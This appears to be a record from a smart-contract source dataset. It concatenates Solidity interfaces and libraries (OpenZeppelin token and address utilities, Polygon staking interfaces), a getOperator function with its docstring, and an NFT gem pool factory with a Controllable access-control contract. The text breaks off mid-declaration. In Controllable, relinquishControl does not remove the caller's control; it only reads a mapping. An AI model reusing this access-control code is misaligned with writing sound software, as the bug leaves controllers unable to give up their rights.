`owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; /// @title polygon stake manager interface. /// @author 2021 ShardLabs /// @notice User to interact with the polygon stake manager. interface IStakeManager { /// @notice Stake a validator on polygon stake manager. /// @param user user that own the validator in our case the validator contract. /// @param amount amount to stake. /// @param heimdallFee heimdall fees. /// @param acceptDelegation accept delegation. /// @param signerPubkey signer publickey used in heimdall node. function stakeFor( address user, uint256 amount, uint256 heimdallFee, bool acceptDelegation, bytes memory signerPubkey ) external; /// @notice Restake Matics for a validator on polygon stake manager. /// @param validatorId validator id. /// @param amount amount to stake. /// @param stakeRewards restake rewards. function restake( uint256 validatorId, uint256 amount, bool stakeRewards ) external; /// @notice Request unstake a validator. /// @param validatorId validator id. function unstake(uint256 validatorId) external; /// @notice Increase the heimdall fees. /// @param user user that own the validator in our case the validator contract. /// @param heimdallFee heimdall fees. function topUpForFee(address user, uint256 heimdallFee) external; /// @notice Get the validator id using the user address. /// @param user user that own the validator in our case the validator contract. /// @return return the validator id function getValidatorId(address user) external view returns (uint256); /// @notice get the validator contract used for delegation. /// @param validatorId validator id. /// @return return the address of the validator contract. function getValidatorContract(uint256 validatorId) external view returns (address); /// @notice Withdraw accumulated rewards /// @param validatorId validator id. function withdrawRewards(uint256 validatorId) external; /// @notice Get validator total staked. /// @param validatorId validator id. function validatorStake(uint256 validatorId) external view returns (uint256); /// @notice Allows to unstake the staked tokens on the stakeManager. /// @param validatorId validator id. function unstakeClaim(uint256 validatorId) external; /// @notice Allows to update the signer pubkey /// @param _validatorId validator id /// @param _signerPubkey update signer public key function updateSigner(uint256 _validatorId, bytes memory _signerPubkey) external; /// @notice Allows to claim the heimdall fees. /// @param _accumFeeAmount accumulated fees amount /// @param _index index /// @param _proof proof function claimFee( uint256 _accumFeeAmount, uint256 _index, bytes memory _proof ) external; /// @notice Allows to update the commision rate of a validator /// @param _validatorId operator id /// @param _newCommissionRate commission rate function updateCommissionRate( uint256 _validatorId, uint256 _newCommissionRate ) external; /// @notice Allows to unjail a validator. /// @param _validatorId id of the validator that is to be unjailed function unjail(uint256 _validatorId) external; /// @notice Returns a withdrawal delay. function withdrawalDelay() external view returns (uint256); /// @notice Transfers amount from delegator function delegationDeposit( uint256 validatorId, uint256 amount, address delegator ) external returns (bool); function epoch() external view returns (uint256); enum Status { Inactive, Active, Locked, Unstaked } struct Validator { uint256 amount; uint256 reward; uint256 activationEpoch; uint256 deactivationEpoch; uint256 jailTime; address signer; address contractAddress; Status status; uint256 commissionRate; uint256 lastCommissionUpdate; uint256 delegatorsReward; uint256 delegatedAmount; uint256 initialRewardPerStake; } function validators(uint256 _index) external view returns (Validator memory); /// @notice Returns the address of the nft contract function NFTContract() external view returns (address); /// @notice Returns the validator accumulated rewards on stake manager. function validatorReward(uint256 validatorId) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; interface IValidatorShare { struct DelegatorUnbond { uint256 shares; uint256 withdrawEpoch; } function unbondNonces(address _address) external view returns (uint256); function activeAmount() external view returns (uint256); function validatorId() external view returns (uint256); function withdrawExchangeRate() external view returns (uint256); function withdrawRewards() external; function unstakeClaimTokens() external; function minAmount() external view returns (uint256); function getLiquidRewards(address user) external view returns (uint256); function delegation() external view returns (bool); function updateDelegation(bool _delegation) external; function buyVoucher(uint256 _amount, uint256 _minSharesToMint) external returns (uint256); function sellVoucher_new(uint256 claimAmount, uint256 maximumSharesToBurn) external; function unstakeClaimTokens_new(uint256 unbondNonce) external; function unbonds_new(address _address, uint256 _unbondNonce) external view returns (DelegatorUnbond memory); function getTotalStake(address user) external view returns (uint256, uint256); function owner() external view returns (address); function restake() external returns (uint256, uint256); function unlock() external; function lock() external; function drain( address token, address payable destination, uint256 amount ) external; function slash(uint256 _amount) external; function migrateOut(address user, uint256 amount) external; function migrateIn(address user, uint256 amount) external; } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; /// @title PoLidoNFT interface. /// @author 2021 ShardLabs interface IPoLidoNFT is IERC721Upgradeable { function mint(address _to) external returns (uint256); function burn(uint256 _tokenId) external; function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool); function setStMATIC(address _stMATIC) external; } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; interface IFxStateRootTunnel { function latestData() external view returns (bytes memory); function setFxChildTunnel(address _fxChildTunnel) external; function sendMessageToChild(bytes memory message) external; function setStMATIC(address _stMATIC) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; }
Retrieve the operator struct based on the operatorId _operatorId id of the operator return NodeOperator structure
function getOperator(uint256 _operatorId) private view returns (uint256, NodeOperator storage) { if (_operatorId == 0) { _operatorId = getOperatorId(msg.sender); } NodeOperator storage no = operators[_operatorId]; require(no.rewardAddress != address(0), "Operator not found"); return (_operatorId, no); }
6,084,924
// SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../interfaces/IControllable.sol"; abstract contract Controllable is IControllable { mapping(address => bool) _controllers; /** * @dev Throws if called by any account not in authorized list */ modifier onlyController() { require( _controllers[msg.sender] == true || address(this) == msg.sender, "Controllable: caller is not a controller" ); _; } /** * @dev Add an address allowed to control this contract */ function _addController(address _controller) internal { _controllers[_controller] = true; } /** * @dev Add an address allowed to control this contract */ function addController(address _controller) external override onlyController { _controllers[_controller] = true; } /** * @dev Check if this address is a controller */ function isController(address _address) external view override returns (bool allowed) { allowed = _controllers[_address]; } /** * @dev Check if this address is a controller */ function relinquishControl() external view override onlyController { _controllers[msg.sender]; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../access/Controllable.sol"; import "../pool/NFTGemPool.sol"; import "../libs/Create2.sol"; import "../interfaces/INFTGemPoolFactory.sol"; contract NFTGemPoolFactory is Controllable, INFTGemPoolFactory { address private operator; mapping(uint256 => address) private _getNFTGemPool; address[] private _allNFTGemPools; constructor() { _addController(msg.sender); } /** * @dev get the quantized token for this */ function getNFTGemPool(uint256 _symbolHash) external view override returns (address gemPool) { gemPool = _getNFTGemPool[_symbolHash]; } /** * @dev get the quantized token for this */ function allNFTGemPools(uint256 idx) external view override returns (address gemPool) { gemPool = _allNFTGemPools[idx]; } /** * @dev number of quantized addresses */ function allNFTGemPoolsLength() external view override returns (uint256) { return _allNFTGemPools.length; } /** * @dev deploy a new erc20 token using create2 */ function createNFTGemPool( string memory gemSymbol, string memory gemName, uint256 ethPrice, uint256 minTime, uint256 maxTime, uint256 diffstep, uint256 maxMint, address allowedToken ) external override onlyController returns (address payable gemPool) { bytes32 salt = keccak256(abi.encodePacked(gemSymbol)); require(_getNFTGemPool[uint256(salt)] == address(0), "GEMPOOL_EXISTS"); // single check is sufficient // validation checks to make sure values are sane require(ethPrice != 0, "INVALID_PRICE"); require(minTime != 0, "INVALID_MIN_TIME"); require(diffstep != 0, "INVALID_DIFFICULTY_STEP"); // create the quantized erc20 token using create2, which lets us determine the // quantized erc20 address of a token without interacting with the contract itself bytes memory bytecode = type(NFTGemPool).creationCode; // use create2 to deploy the quantized erc20 contract gemPool = payable(Create2.deploy(0, salt, bytecode)); // initialize the erc20 contract with the relevant addresses which it proxies NFTGemPool(gemPool).initialize(gemSymbol, gemName, ethPrice, minTime, maxTime, diffstep, maxMint, allowedToken); // insert the erc20 contract address into lists - one that maps source to quantized, _getNFTGemPool[uint256(salt)] = gemPool; _allNFTGemPools.push(gemPool); // emit an event about the new pool being created emit NFTGemPoolCreated(gemSymbol, gemName, ethPrice, minTime, maxTime, diffstep, maxMint, allowedToken); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface IControllable { event ControllerAdded(address indexed contractAddress, address indexed controllerAddress); event ControllerRemoved(address indexed contractAddress, address indexed controllerAddress); function addController(address controller) external; function isController(address controller) external view returns (bool); function relinquishControl() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "./IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface INFTGemFeeManager { event DefaultFeeDivisorChanged(address indexed operator, uint256 oldValue, uint256 value); event FeeDivisorChanged(address indexed operator, address indexed token, uint256 oldValue, uint256 value); event ETHReceived(address indexed manager, address sender, uint256 value); event LiquidityChanged(address indexed manager, uint256 oldValue, uint256 value); function liquidity(address token) external view returns (uint256); function defaultLiquidity() external view returns (uint256); function setDefaultLiquidity(uint256 _liquidityMult) external returns (uint256); function feeDivisor(address token) external view returns (uint256); function defaultFeeDivisor() external view returns (uint256); function setFeeDivisor(address token, uint256 _feeDivisor) external returns (uint256); function setDefaultFeeDivisor(uint256 _feeDivisor) external returns (uint256); function ethBalanceOf() external view returns (uint256); function balanceOF(address token) external view returns (uint256); function transferEth(address payable recipient, uint256 